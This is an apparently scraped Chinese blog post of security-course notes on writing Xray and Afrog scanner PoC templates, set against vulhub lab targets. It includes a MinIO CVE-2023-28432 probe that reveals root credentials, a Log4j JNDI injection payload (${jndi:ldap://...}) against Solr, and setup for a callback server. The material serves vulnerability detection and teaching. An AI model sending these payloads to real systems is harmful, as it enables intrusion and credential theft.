当前位置: 首页 > news >正文

小迪安全v2023学习笔记(一百零三讲)—— 漏扫项目篇PoC开发Rule语法反链判断不回显检测Yaml生成

文章目录

  • 前记
  • 漏洞发现——第一百零三天
    • 漏扫项目篇&PoC开发&Rule语法&反链判断&不回显检测&Yaml生成
      • Xray&Afrog - PoC开发-环境配置&编写流程
      • Xray - PoC开发-数据回显&RCE不回显&实验室
        • 分析PoC执行情况
        • 开发流程
        • 案例1:CVE-2023-28432(匹配结果)
        • 案例2:CVE-2021-44228(无回显匹配)
      • Afrog - PoC开发-数据回显&RCE不回显&JNDI注入
        • 开发流程
        • 案例1:CVE-2023-28432(有回显判断)
        • 案例2:CVE-2021-44228(无回显判断)
        • dns
        • jndi

前记

  • 今天是学习小迪安全的第一百零三天,本节课主要内容是其他工具的PoC开发,了解一下如何写PoC,然后熟悉工具的使用

漏洞发现——第一百零三天

漏扫项目篇&PoC开发&Rule语法&反链判断&不回显检测&Yaml生成

Xray&Afrog - PoC开发-环境配置&编写流程

  • 上节课讲了关于Nuclei这款工具的PoC开发,这节课主要是再讲其他两款工具——Xray和Afrog的PoC开发
  • 虽然都是使用yaml来开发,但由于每款工具都有它的解析语法,所以也有蛮大的不同,也需要了解一下
  • 开发的环境还是VSCode + YAML插件

Xray - PoC开发-数据回显&RCE不回显&实验室

分析PoC执行情况
  • 开发参考文章

    1. Xray PoC模板生成:https://poc.xray.cool/
    2. Xray PoC官方开发文档:https://docs.xray.cool/plugins/practice/poc/Template
    3. Xray PoC编写参考文章:
      • https://mp.weixin.qq.com/s/XeF10F5xw19AymX34vALIw
      • https://cloud.tencent.com/developer/article/1949351
  • 分析技巧:配置config.yaml文件,使用代理转到BP看数据包分析
    在这里插入图片描述
    在这里插入图片描述

  • 调试PoC:

.\xray_windows_amd64.exe --log-level debug webscan --poc .\test.yaml --url https://xx.xx.xx.xx:xxxx --html-output xx.html

在这里插入图片描述

开发流程
  • 其实这里同样,我们可以使用一个官方的PoC模板进行套用,但在此之前,我们简单了解一下Xray的PoC组成:
  1. 第一部分:名称部分
# 按照标准都是如下名称开头
name: poc-yaml-xxx

在这里插入图片描述

  1. 第二部分:rules: []Rule 脚本部分
set: 定义全局变量
transport: 通信协议
rules:规则,poc请求路径,请求内容,回显信息都由此匹配
method: string 请求方法
path: string 请求的完整Path,包括querystring等
headers: map[string]string 请求HTTP头,Rule中指定的值会被覆盖到原始数据包的HTTP头中
body: string 请求的Body
follow_redirects: bool 是否允许跟随300跳转
expression: string, 作用是判断该条Rule的结果
search: string, 作用是从返回包中提取信息
method、path、headers、body、follow_redirects的作用是生成检测漏洞的数据包

在这里插入图片描述

  1. 第三部分:信息部分
# 就是平时xray扫描得到漏洞时xray返回的那一串爆红信息
# 包括作者、参考文章、漏洞评级等等
detail: map[string]string    

在这里插入图片描述

案例1:CVE-2023-28432(匹配结果)
  • 这里我们还是用昨天的例子来演示,PoC文章:https://github.com/vulhub/vulhub/blob/master/minio/CVE-2023-28432/README.zh-cn.md
  • 然后我们根据上面说的写出如下PoC:
name: poc-yaml-CVE-2023-28432transport: http
rules:r0:request:method: POSTpath: /minio/bootstrap/v1/verify# 设置头部中重要的信息,这里只有这个比较重要,所以只设置这一个即可headers:Content-Type: application/x-www-form-urlencodedexpression: |response.status == 200 && response.body_string.contains("MINIO_ROOT_USER") && response.body_string.contains("MINIO_ROOT_PASSWORD")
expression: r0()detail:author: ulinlinks:- https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q- https://mp.weixin.qq.com/s/GNhQLuzD8up3VcBRIinmgQ
  • 一定要注意缩进,这里是4个空格,否则它无法解析成功!,然后每个地方都要写正确,不然也没办法扫出漏洞!
.\xray_windows_amd64.exe webscan --poc "D:\Download\test\test.yaml" --url http://192.168.0.143:9000 --html-output 1.html

在这里插入图片描述

案例2:CVE-2021-44228(无回显匹配)
  • 这个用一个log4j的靶场,就是没有回显的案例,他需要去解析dns网址才能够判断漏洞是否存在

  • 那这种的话,在Xray和其他的漏扫工具中,如果没有配置过反连平台,基本都是扫不出来的,只能在PoC中写死dns地址,然后手工去看哪个网址访问过

  • 那么如何配置这个反连平台呢?参考文章:提升Xray挖洞能力-反连平台部署_xray反连平台-CSDN博客

  • 首先我们需要准备一台服务器和一个域名,然后去官网下载同本地相同版本的xray到服务器上:
    在这里插入图片描述

  • 然后在服务器上执行如下命令,配置环境:

# 先直接yum安装libpcap-devel:
yum install libpcap-devel
yum  -y install mlocate
updatedb
locate libpcap# 然后配置相关环境:
cd /usr/lib64
ln -s libpcap.so.1.5.3 libpcap.so.0.8
  • 转到xray目录,赋予其执行权限之后,就可以执行了:
    在这里插入图片描述

  • 然后根据官方文档,配置一下服务器端的config.yaml文件,直接复制粘贴过来改一些东西,然后复制进对应位置即可:

# 反连平台配置,更多解释见 https://docs.xray.cool/#/configration/reverse
# 注意: 默认配置为禁用反连平台,这是无法扫描出依赖反连平台的漏洞,这些漏洞包括 fastjson,ssrf 以及 poc 中依赖反连的情况等
reverse:db_file_path: "reverse.db"                      # 反连平台数据库文件位置, 这是一个 KV 数据库token: "<自己设置token>"                             # 反连平台认证的 Token, 独立部署时不能为空http:enabled: truelisten_ip: 0.0.0.0listen_port: "33899"ip_header: ""                       # 在哪个 http header 中取 ip,为空代表从 REMOTE_ADDR 中取dns:enabled: truelisten_ip: 0.0.0.0 domain: "<自己购买的域名>"                          # DNS 域名配置is_domain_name_server: true       # 是否修改了域名的 ns 为反连平台,如果是,那 nslookup 等就不需要指定 dns 了resolve:                            # DNS 静态解析规则- type: A                           # A, AAAA, TXT 三种record: ns1value: <VPSIP>ttl: 60- type: A                           # A, AAAA, TXT 三种record: ns2value: <VPSIP>ttl: 60client:remote_server: false                # 是否是独立的远程 server,如果是要在下面配置好远程的服务端地址http_base_url: "http://<VPSIP>:33899/"                   # 默认将根据 ListenIP 和 ListenPort 生成,该地址是存在漏洞的目标反连回来的地址, 当反连平台前面有反代、绑定域名、端口映射时需要自行配置dns_server_ip: "<VPSIP>"                   # 和 http_base_url 类似,实际用来访问 dns 服务器的地址
  • 修改完成后,启动反连平台看一下是否配置成功:
./xray reverse
  • 访问http://VPS的IP地址:33899/cland/如果有页面就说明生效(如果无法连接尝试关闭防火墙、安全组):
    在这里插入图片描述

  • 接下来配置DNS解析,添加ns1、ns2的A记录,指向VPSIP:
    在这里插入图片描述

  • 然后配置DNS服务器,位置在 域名控制台 → 域名列表 → 管理 → DNS管理 → 自定义DNS Host
    在这里插入图片描述

  • 再修改DNS服务器为刚才创建的两个DNS服务器:
    在这里插入图片描述

  • 等待大概十多分钟之后,我们进入反连平台的UI管理界面,通过Token登录之后,创建一个DNS域名:
    在这里插入图片描述

  • 这里可以本地去 ping ping 看有没有生效

  • 到此服务器的配置就结束了,我们接下来配置客户端也就是本地xray的config.yaml文件,修改之后复制到原本的文件即可:

# 反连平台配置,更多解释见 https://docs.xray.cool/#/configration/reverse
# 注意: 默认配置为禁用反连平台,这是无法扫描出依赖反连平台的漏洞,这些漏洞包括 fastjson,ssrf 以及 poc 中依赖反连的情况等
reverse:db_file_path: ""                      # 反连平台数据库文件位置, 这是一个 KV 数据库token: "<与服务器端相同的Token>"                             # 反连平台认证的 Token, 独立部署时不能为空http:enabled: falselisten_ip: 0.0.0.0 listen_port: ""ip_header: ""                       # 在哪个 http header 中取 ip,为空代表从 REMOTE_ADDR 中取dns:enabled: falselisten_ip: 0.0.0.0 domain: "<自己购买的域名>"                          # DNS 域名配置is_domain_name_server: false        # 是否修改了域名的 ns 为反连平台,如果是,那 nslookup 等就不需要指定 dns 了resolve:                            # DNS 静态解析规则- type: A                           # A, AAAA, TXT 三种record: localhostvalue: 127.0.0.1ttl: 60client:remote_server: true                # 是否是独立的远程 server,如果是要在下面配置好远程的服务端地址http_base_url: "http://<VPSIP>:33899/"                   # 默认将根据 ListenIP 和 ListenPort 生成,该地址是存在漏洞的目标反连回来的地址, 当反连平台前面有反代、绑定域名、端口映射时需要自行配置dns_server_ip: "<VPSIP>"                   # 和 http_base_url 类似,实际用来访问 dns 服务器的地址
  • 此时我们vulhub起一个log4j靶场,然后尝试用PoC扫一下:
.\xray_windows_amd64.exe webscan --poc poc-go-apache-log4j2-rce --url http://192.168.0.143:8983/solr/admin/cores?action=123

在这里插入图片描述

  • 如果我们将配置取消掉的话,就没办法扫出这个漏洞了

Afrog - PoC开发-数据回显&RCE不回显&JNDI注入

开发流程
  • 对于Afrog这款工具,它的PoC语法又不太一样,有点Nuclei和Xray结合的味道,开发参考文章:https://github.com/zan8in/afrog/wiki/Usage#pocs
  • 如果要对PoC的数据包进行分析,可以设置--proxy=127.0.0.1:8080参数:
# 去掉CVE-2024-23897是因为它莫名其妙会报错
afrog.exe -proxy http://127.0.0.1:8080 -t http://testphp.vulnweb.com/ -ep CVE-2024-23897

在这里插入图片描述

  • 然后我们的开发流程:
  1. 第一部分:id info 编号 信息(类似nuclei)
    在这里插入图片描述

  2. 第二部分:set rules 变量 脚本(类似xray)
    在这里插入图片描述

  3. 第三部分:expression 判断 执行(类似xray)
    在这里插入图片描述

案例1:CVE-2023-28432(有回显判断)
  • 这个就不用再多说了,直接照着写如下yaml文件即可:
id: CVE-2023-28432info:name: MinIO集群模式信息泄露漏洞(CVE-2023-28432)author: ulinseverity: criticalreference:- https://vulhub.org/#/environments/minio/CVE-2023-28432/rules:r0:request:method: POSTpath: /minio/bootstrap/v1/verifyheaders:Content-Type: application/x-www-form-urlencodedexpression: response.status == 200 && response.body.bcontains(b"MINIO_ROOT_USER") && response.body.bcontains(b"MINIO_ROOT_PASSWORD")
expression: r0()

在这里插入图片描述

案例2:CVE-2021-44228(无回显判断)
  • 无回显可以是dns的,可以是jndi注入的,这里我就直接两个都放一个例子讲了

  • 我们可以打开Afrog的配置文件看看,默认路径为:$HOME/.config/afrog/afrog-config.yaml
    在这里插入图片描述

  • 它是提供了这两种漏洞检测的服务的,我们只需要配置对应的服务器地址即可加以判断

dns
  • 比如我们可以配置dns服务器,这里支持ceye.io这个平台,我们给他key和地址即可:
    在这里插入图片描述

  • 他就能够在扫描时去访问这个dns服务器,但是同样,它只能是告诉你可能有漏洞去访问这个dns服务器,我们需要通过抓包然后看发哪些包的时候访问了,然后一个一个看:
    在这里插入图片描述

jndi
  • 同样,这个也是,我们在服务器上起一个jndi服务:
java -jar JNDIMonitor-2.0.1-SNAPSHOT.jar -i 0.0.0.0 -l 1389 -p 3456
  • 然后将信息写到配置文件中:
    在这里插入图片描述

  • 写一个PoC文件为:

id: solr-log4j-rce
info:name: Apache Solr Log4j Remote Code Executionauthor: xiaodisecseverity: criticalverified: truecreated: 2023/10/16
set:reverse: newJNDI()jndiURL: reverse.url.host + reverse.url.path
rules:r0:request:method: GETpath: /solr/admin/collections?action=${jndi:ldap://{{jndiURL}}}&wt=jsonexpression: reverse.jndi(5)
expression: r0()
  • 它就会成功识别到:
    在这里插入图片描述

  • 但是这里我没有成功,不知道什么情况,搞不懂,有时候就真的很奇怪,明明是同样的复现流程,有时候行有时候又不行,哎,头痛

http://www.dtcms.com/a/474334.html

相关文章:

  • MySQL的练习题二----创建表的练习题
  • 设备技术支持东莞网站建设大连模板网站制作多少钱
  • Dockerfile 指令详解与实战指南
  • 10.1 快速排序(排序(下))
  • 前端梳理体系从常问问题去完善-框架篇(Vue2Vue3)
  • 【数据分享】青藏高原10米分辨率DEM数据集
  • 网站正在建设中空白模板网站建设调查通知
  • 【星闪】Hi2821 | 低功耗开发 + 低功耗管理及按键唤醒例程
  • 怎么做网站的网盘品牌网站建设公司有哪些
  • 【Linux】Socket编程基础
  • 长春建网站wordpress 图片打开慢
  • 91工业设计网模板网站有利于做seo吗
  • 做网站蓝色和什么颜色搭配好看万维网站注册
  • Windows 10 使用 VMware Workstation 搭建 Ubuntu 虚拟机
  • 深入解析Litho的多智能体协同架构与ReAct推理机制
  • 机器视觉---ViBe算法
  • Product Hunt 每日热榜 | 2025-10-12
  • C++11 多线程与并发编程
  • 太原网站建设优化有什么ae做动图的网站
  • 【全志V821_FoxPi】9-3 Linux IIC驱动SSD1306(0.96寸oled屏幕)
  • crm管理系统登录入口官网龙华网站优化
  • 基于S32DS配置S32K344的FlexCAN模块
  • typescript中的难点总结
  • PHP 字符串处理详解
  • 【JUC】线程池有哪些拒绝策略?该如何选择使用?
  • 4 随机数 从一个随机数到另外一个随机数、等概率随机
  • 机器学习17:如何有效使用自监督式学习
  • 生成对抗网络(GAN)及其变种:CycleGAN和StarGAN
  • dede网站地图html文件公司部门撤销要求转岗不同意怎么办
  • 国外购买空间的网站有哪些最优惠的网站优化